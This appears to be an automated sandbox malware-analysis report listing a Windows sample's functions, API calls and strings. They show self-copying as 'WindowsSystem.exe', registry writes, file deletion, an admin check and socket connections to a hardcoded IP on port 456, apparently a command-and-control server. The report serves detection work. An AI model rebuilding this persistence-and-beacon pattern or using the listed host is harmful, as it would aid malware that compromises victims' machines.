Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: FreeLocal$AllocVirtual
String ID: @$_DllMain@12
API String ID: 631462101-1064695914
Opcode ID: 16215be5b028f2ed0e2e31a8716c17c423ce6fb1e78c8cd8927c6f6ba0a2eb83
Instruction ID: df635448c5bb6124f43bdad6110c7d8d3edde2248bfcf27b77160b6d46e51bee
Opcode Fuzzy Hash: 16215be5b028f2ed0e2e31a8716c17c423ce6fb1e78c8cd8927c6f6ba0a2eb83
Instruction Fuzzy Hash: 18228C74A05228CBDB2ACF18C994BEAB7B1BF89305F1081D9D509AB351D775AEC5CF80

Function 003179F0 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 176stringmemoryCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,?,?,?,?,003168E6,003347E8), ref: 00317A19
_memmove.LIBCMT ref: 00317A48
lstrlenW.KERNEL32(?), ref: 00317A6C
LocalAlloc.KERNEL32(00000040,?), ref: 00317A7F

Strings

G3, xrefs: 00317B41
G3, xrefs: 00317B03, 00317B76, 00317B06
G3, xrefs: 00317AD9, 00317AE7, 00317A44, 00317A50, 00317A47, 00317AEA
h1G3, xrefs: 00317ADF, 00317ABE, 00317A25, 00317AE4

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: lstrlen$AllocLocal_memmove
String ID: G3$G3$G3$h1G3
API String ID: 39496755-3426192093
Opcode ID: a80d8d1b07f5633d444a1c9cf1061a5df5261bff402afe30083674596de7f884
Instruction ID: e07f746c30aa00ac67cf458c912a7fe66d72459a3449f088171e9b2bde1a7d71
Opcode Fuzzy Hash: a80d8d1b07f5633d444a1c9cf1061a5df5261bff402afe30083674596de7f884
Instruction Fuzzy Hash: DF71F974A0810AEFCB09CF98D495EEEB7B5FF4C304F248558E905AB350D734AA95CBA0

Function 003169F9 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 111threadnetworkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00316A7A
__snwprintf.LIBCMT ref: 00316A9F

Part of subcall function 0030A680: _memset.LIBCMT ref: 0030A6BF
Part of subcall function 0030A680: _memset.LIBCMT ref: 0030A70A
Part of subcall function 0030A680: CoInitializeEx.COMBASE(00000000,00000000), ref: 0030A754

LocalFree.KERNEL32(00000000), ref: 00316AD9
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00316B24
CreateThread.KERNEL32(00000000,00000000,0030F100,00000000,00000000,00000000), ref: 00316B47
CloseHandle.KERNEL32(00000000), ref: 00316B64
WSAStartup.WS2_32(00000002,?), ref: 00316B73
CreateThread.KERNEL32(00000000,00000000,0031B630,00000000,00000000,00000000), ref: 00316B95
CreateThread.KERNEL32(00000000,00000000,00321030,00000000,00000000,00000000), ref: 00316BAF

Part of subcall function 0031C3A0: AllocateAndInitializeSid.ADVAPI32(00000000,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0031C3DB
Part of subcall function 0031C3A0: CheckTokenMembership.ADVAPI32(00000000,?,00000000), ref: 0031C3F4
Part of subcall function 0031C3A0: FreeSid.ADVAPI32(?), ref: 0031C409

WSACleanup.WS2_32 ref: 00316BCA

Part of subcall function 0030FE20: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0030FE74
Part of subcall function 0030FE20: lstrlenW.KERNEL32(?), ref: 0030FE86
Part of subcall function 0030FE20: lstrlenW.KERNEL32(00371110), ref: 0030FE99
Part of subcall function 0030FE20: LocalAlloc.KERNEL32(00000040,?), ref: 0030FEB2
Part of subcall function 0030FE20: __snwprintf.LIBCMT ref: 0030FEDA
Part of subcall function 0030FE20: lstrlenW.KERNEL32(00000000), ref: 0030FEE6
Part of subcall function 0030FE20: CoTaskMemFree.COMBASE(?), ref: 0030FEF5

Strings

"%s%s", xrefs: 00316A8E
{34E50511-FBB8-42F8-98A2-2629192A03A0}, xrefs: 00316ABE
WindowsSystem, xrefs: 00316AB9
WindowsSystem.exe, xrefs: 00316A82
WindowsSystem, xrefs: 00316AB4

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Create$FreeThread_memsetlstrlen$InitializeLocal__snwprintf$AllocAllocateCheckCleanupCloseEventFolderHandleKnownMembershipPathStartupTaskToken
String ID: "%s%s"$WindowsSystem$WindowsSystem$WindowsSystem.exe${34E50511-FBB8-42F8-98A2-2629192A03A0}
API String ID: 3184904793-474631092
Opcode ID: 071b508c7de7a8573f1bfed512d5030396798880104930553583074c80420588
Instruction ID: cc23589e620e35e9998131ad8129d9c9ea65ded7cb9cc8d0d7bd8563d5393fe8
Opcode Fuzzy Hash: 071b508c7de7a8573f1bfed512d5030396798880104930553583074c80420588
Instruction Fuzzy Hash: 79418070A90314ABEB3B9B94EC5BFE6336CAB19B05F108058F20DB91D1D6F469C4CB16

Function 00313350 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 72memorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00313364
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00313385
SHGetKnownFolderPath.SHELL32(00337C30,00000000,00000000,00000000), ref: 003133AC
lstrlenW.KERNEL32(00000000), ref: 003133BA
__snwprintf.LIBCMT ref: 003133E4
__snwprintf.LIBCMT ref: 003133FE
LocalFree.KERNEL32(00000000), ref: 0031340A
CoTaskMemFree.COMBASE(00000000), ref: 00313414
CoTaskMemFree.COMBASE(00000000), ref: 00313423
LocalFree.KERNEL32(00000000), ref: 0031342D
LocalFree.KERNEL32(00000000), ref: 00313437

Strings

\\?\%s , xrefs: 003133D6
%s\System32, xrefs: 003133F0

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: FreeLocal$AllocTask__snwprintf$FolderKnownPathlstrlen
String ID: %s\System32$\\?\%s
API String ID: 2558432158-2868705786
Opcode ID: df55fa0bc6b4aed136ef82c66e247accce0bb5ff96baa228906345f80141f7c2
Instruction ID: 1bd0022383570b6d224a5be28f98b0be888db0ca50e63511448d12d139b21789
Opcode Fuzzy Hash: df55fa0bc6b4aed136ef82c66e247accce0bb5ff96baa228906345f80141f7c2
Instruction Fuzzy Hash: 352121B5E00218FFDB25DBE4DC89BADBB79EF48700F504558F605AB290DB745A80CB50

Function 0031B9A0 Relevance: 21.1, APIs: 14, Instructions: 111memorynetworkCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001,?,0031B8E1,00000000,00000000,0037D2C8,0037D370), ref: 0031B9AF
_memmove.LIBCMT ref: 0031B9CE
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,0031B8E1,00000000,00000000), ref: 0031B9F4
inet_addr.WS2_32(00000000), ref: 0031BA14
gethostbyname.WS2_32(00000000), ref: 0031BA27
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,0031B8E1,00000000), ref: 0031BA3A

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc_memmovegethostbynameinet_addr
String ID:
API String ID: 3088692038-0
Opcode ID: 457c82753af63889b0ffd6a0621c8c8bdee6711080392bcce5e172e7ba3c8be2
Instruction ID: 0f6479d4b3791d84f990fed094423562baf58eb157cad076a91048c2d696774f
Opcode Fuzzy Hash: 457c82753af63889b0ffd6a0621c8c8bdee6711080392bcce5e172e7ba3c8be2
Instruction Fuzzy Hash: 0F41ECB9E00208EFCB09DFA4D985BAEB7B9FF4C304F104558F506A7250D775AA40DB50

Function 00312E00 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 82memorystringCOMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(00337C00,00000000,00000000,00315BB2,?,?,?,?,?,?,?,?,?,?,?,00315BB2), ref: 00312E13
LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,?,?,?,?,?,?,?,00315BB2), ref: 00312E28
__snwprintf.LIBCMT ref: 00312E61
lstrlenW.KERNEL32(00000000), ref: 00312E6D
_memset.LIBCMT ref: 00312E97
GetFileAttributesW.KERNEL32(00000000), ref: 00312EC0
SHFileOperationW.SHELL32(?), ref: 00312ED7
LocalFree.KERNEL32(00000000), ref: 00312EFD
CoTaskMemFree.COMBASE(00315BB2), ref: 00312F07

Strings

%s\%s, xrefs: 00312E53
{DCC27317-D180-4C2F-8EAC-B87FB882F1DC}, xrefs: 00312E4A

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: FileFreeLocal$AllocAttributesFolderKnownOperationPathTask__snwprintf_memsetlstrlen
String ID: %s\%s${DCC27317-D180-4C2F-8EAC-B87FB882F1DC}
API String ID: 561441633-2871714980
Opcode ID: 278df3dd68a016bf3c9dde9206a79711b5b25699f4b974bd9030c83a68015a1e
Instruction ID: 615e395f377743649437caa6f8af7b050eb9b5a144becfd61e794d603c52ee8c
Opcode Fuzzy Hash: 278df3dd68a016bf3c9dde9206a79711b5b25699f4b974bd9030c83a68015a1e
Instruction Fuzzy Hash: 51318074E00208EBDB29DFA4DC49BEEBB79FF48700F108569F505A7290E7749A90CB64

Function 00316BE0 Relevance: 21.1, APIs: 14, Instructions: 80synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000,?,0031BE80), ref: 00316BFC
WaitForSingleObject.KERNEL32(00000000,000000FF,?,0031BE80), ref: 00316C14
CloseHandle.KERNEL32(00000000,?,0031BE80), ref: 00316C2A
SetEvent.KERNEL32(00000000,?,0031BE80), ref: 00316C3F
WaitForSingleObject.KERNEL32(00000000,000000FF,?,0031BE80), ref: 00316C57
CloseHandle.KERNEL32(00000000,?,0031BE80), ref: 00316C6D
CloseHandle.KERNEL32(00000000,?,0031BE80), ref: 00316C82
SetEvent.KERNEL32(00000000,?,0031BE80), ref: 00316C98
WaitForSingleObject.KERNEL32(00000000,000000FF,?,0031BE80), ref: 00316CB0
CloseHandle.KERNEL32(00000000,?,0031BE80), ref: 00316CC5
SetEvent.KERNEL32(00000000,?,0031BE80), ref: 00316CDB
WaitForSingleObject.KERNEL32(00000000,000000FF,?,0031BE80), ref: 00316CF3
CloseHandle.KERNEL32(00000000,?,0031BE80), ref: 00316D08
CloseHandle.KERNEL32(00000000,?,0031BE80), ref: 00316D1E

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: b9dc2c592dc7012556393e681efd6f6de4ae7aa498f0cbe12d0662d3fe42c945
Instruction ID: 3c44a056f553aa3c4dd0562e28ff5e287ee7d6aa40ba12b17087478bed8762d2
Opcode Fuzzy Hash: b9dc2c592dc7012556393e681efd6f6de4ae7aa498f0cbe12d0662d3fe42c945
Instruction Fuzzy Hash: 8D319175110201DBD33F9BA8ED8DB9637BEB748316F519618E12A562F0CB78A8C9CF40

Function 0030B5A0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 80fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0030B5C0
_memset.LIBCMT ref: 0030B5DF

Part of subcall function 0030FE20: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0030FE74
Part of subcall function 0030FE20: lstrlenW.KERNEL32(?), ref: 0030FE86
Part of subcall function 0030FE20: lstrlenW.KERNEL32(00371110), ref: 0030FE99
Part of subcall function 0030FE20: LocalAlloc.KERNEL32(00000040,?), ref: 0030FEB2
Part of subcall function 0030FE20: __snwprintf.LIBCMT ref: 0030FEDA
Part of subcall function 0030FE20: lstrlenW.KERNEL32(00000000), ref: 0030FEE6
Part of subcall function 0030FE20: CoTaskMemFree.COMBASE(?), ref: 0030FEF5

__snwprintf.LIBCMT ref: 0030B626
__snwprintf.LIBCMT ref: 0030B64B
DeleteFileW.KERNEL32(?), ref: 0030B65A
RemoveDirectoryW.KERNEL32(00000000), ref: 0030B66C
LocalFree.KERNEL32(00000000), ref: 0030B67E
LocalFree.KERNEL32(00000000), ref: 0030B692
GetFileAttributesW.KERNEL32(?), ref: 0030B69F
GetFileAttributesW.KERNEL32(?), ref: 0030B6B5

Strings

%s%s, xrefs: 0030B63A
WindowsSystem.exe, xrefs: 0030B62E

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: FileFreeLocal__snwprintflstrlen$Attributes_memset$AllocDeleteDirectoryFolderKnownPathRemoveTask
String ID: %s%s$WindowsSystem.exe
API String ID: 4117469550-4151400913
Opcode ID: f23083e523e0de197ecf82b5c846d908ed2490bf7f628f9db3abcccb4728a781
Instruction ID: 03a850d9a55a8ecd99b88abcc94f17546548cf77d2431540b1bad95ab2d2f9df
Opcode Fuzzy Hash: f23083e523e0de197ecf82b5c846d908ed2490bf7f628f9db3abcccb4728a781
Instruction Fuzzy Hash: C2219371A5021C9BC771D764DC8DBE9B339AF54300F500A98F619961D1EB759EC48BA0

Function 00309FC0 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 74registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00309FF4
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0030A00A

Part of subcall function 0031C570: CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,0031430B,?,00000000), ref: 0031C58C
Part of subcall function 0031C570: GetFileSize.KERNEL32(000000FF,00000000,?,0031430B,?), ref: 0031C5A1
Part of subcall function 0031C570: LocalAlloc.KERNELBASE(00000040,000000FF,?,0031430B), ref: 0031C5B6
Part of subcall function 0031C570: ReadFile.KERNELBASE(000000FF,00000000,000000FF,?,00000000), ref: 0031C5D7
Part of subcall function 0031C570: CloseHandle.KERNEL32(000000FF), ref: 0031C5ED

__snwprintf.LIBCMT ref: 0030A057
RegOpenKeyW.ADVAPI32(80000001,?,?), ref: 0030A072
RegSetValueExW.ADVAPI32(?,{2DD5D29F-1CE3-49E7-8572-9D856412ED59},00000000,00000003,00000000,00000000), ref: 0030A09A
RegCloseKey.ADVAPI32(?), ref: 0030A0AB
LocalFree.KERNEL32(00000000), ref: 0030A0B8
RegCloseKey.ADVAPI32(?), ref: 0030A0CC
LocalFree.KERNEL32(00000000), ref: 0030A0D9

Strings

{2DD5D29F-1CE3-49E7-8572-9D856412ED59}, xrefs: 0030A08E
{BB52E685-57DB-490D-A4DD-CCF2F7D90D58}, xrefs: 0030A041
SOFTWARE\%s, xrefs: 0030A046

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: File$CloseLocal$Free$AllocCreateHandleModuleNameOpenReadSizeValue__snwprintf_memset
String ID: SOFTWARE\%s${2DD5D29F-1CE3-49E7-8572-9D856412ED59}${BB52E685-57DB-490D-A4DD-CCF2F7D90D58}
API String ID: 3609211549-3847718966
Opcode ID: f02179264a33ae954d62661767ab1726722859dceddd87e85a81a81736374586
Instruction ID: 1795b69e0f3b61aaebe714595d761a3109c468b4ce2e6e416809d65ca6dbb649
Opcode Fuzzy Hash: f02179264a33ae954d62661767ab1726722859dceddd87e85a81a81736374586
Instruction Fuzzy Hash: 172191B5A40318ABD731DB60DC4DBEA7778AF44700F1086C8A61DA6181EB759EC4CFA1

Function 00321EA0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 109stringsynchronizationCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(0037D4C0,185.157.162.216), ref: 00321EF4
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 00321F36
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00321F47
lstrcpyA.KERNEL32(?,0037D2C8), ref: 00321F94
ReleaseMutex.KERNEL32(00000000), ref: 00321FA9
ReleaseMutex.KERNEL32(00000000), ref: 00321F5B

Part of subcall function 00322030: lstrlenW.KERNEL32(?), ref: 00322049
Part of subcall function 00322030: setsockopt.WS2_32(00000000,0000FFFF,00000080,?,00000004), ref: 003220F0

lstrcpyA.KERNEL32(0037D4C0,?), ref: 00321FEF

Strings

185.157.162.216, xrefs: 00321ECD, 00321EEA
456, xrefs: 00321EB9, 00321FB9

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$MutexReleaseWait$MultipleObjectObjectsSinglelstrlensetsockopt
String ID: 185.157.162.216$456
API String ID: 864648930-2825569901
Opcode ID: 7cfab7fa39dc7819e862e6251cedd44476b5fff2a9616584687df5d898745e68
Instruction ID: 09f1d7a50d31651a7475802a2d02e1b9bfca19ef8b52222196ab98b9d0e9f5a4
Opcode Fuzzy Hash: 7cfab7fa39dc7819e862e6251cedd44476b5fff2a9616584687df5d898745e68
Instruction Fuzzy Hash: 5A416270A40214FFD73BDBA4ED89FAA77B8BF08701F108209E519A72A0D775A984CB51

Function 0030A550 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 86memoryprocessCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0030A560
GetSystemDirectoryW.KERNEL32(00000000,00007FFF), ref: 0030A57C
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0030A591

Part of subcall function 003179F0: lstrlenW.KERNEL32(?,?,?,?,?,?,?,003168E6,003347E8), ref: 00317A19

__snwprintf.LIBCMT ref: 0030A5DD
_memset.LIBCMT ref: 0030A5F0
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 0030A637
LocalFree.KERNEL32(00000000), ref: 0030A646
LocalFree.KERNEL32(00000000), ref: 0030A650
LocalFree.KERNEL32(00000000), ref: 0030A661
LocalFree.KERNEL32(00000000), ref: 0030A66B

Strings

D, xrefs: 0030A5F8

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$CreateDirectoryProcessSystem__snwprintf_memsetlstrlen
String ID: D
API String ID: 2329958830-2746444292
Opcode ID: a610079094f1f3c0259db5fef600a96893261d76de5673a70986022be0616a5d
Instruction ID: 050427e8486c59ee08d10ebc1427bec5b39a3a0642e1235235c0c4c0c041c586
Opcode Fuzzy Hash: a610079094f1f3c0259db5fef600a96893261d76de5673a70986022be0616a5d
Instruction Fuzzy Hash: DD3164B5A50208FBDB21DBA4DC89FED7B78AF48700F104598F609AB1D0DA755AC4CB51

Function 00309670 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 86registryCOMMON

Download Yara Rule

APIs

Part of subcall function 003081C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00308D2B,00316B10,00000000), ref: 003081EB
Part of subcall function 003081C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00308D2B), ref: 00308205
Part of subcall function 003081C0: wnsprintfW.SHLWAPI ref: 00308235
Part of subcall function 003081C0: wnsprintfW.SHLWAPI ref: 00308251
Part of subcall function 003081C0: LocalFree.KERNEL32(00000000), ref: 00308A43

Part of subcall function 00301C60: _wcsrchr.LIBCMT ref: 00301C6C

_memset.LIBCMT ref: 003096E5
__snwprintf.LIBCMT ref: 00309703
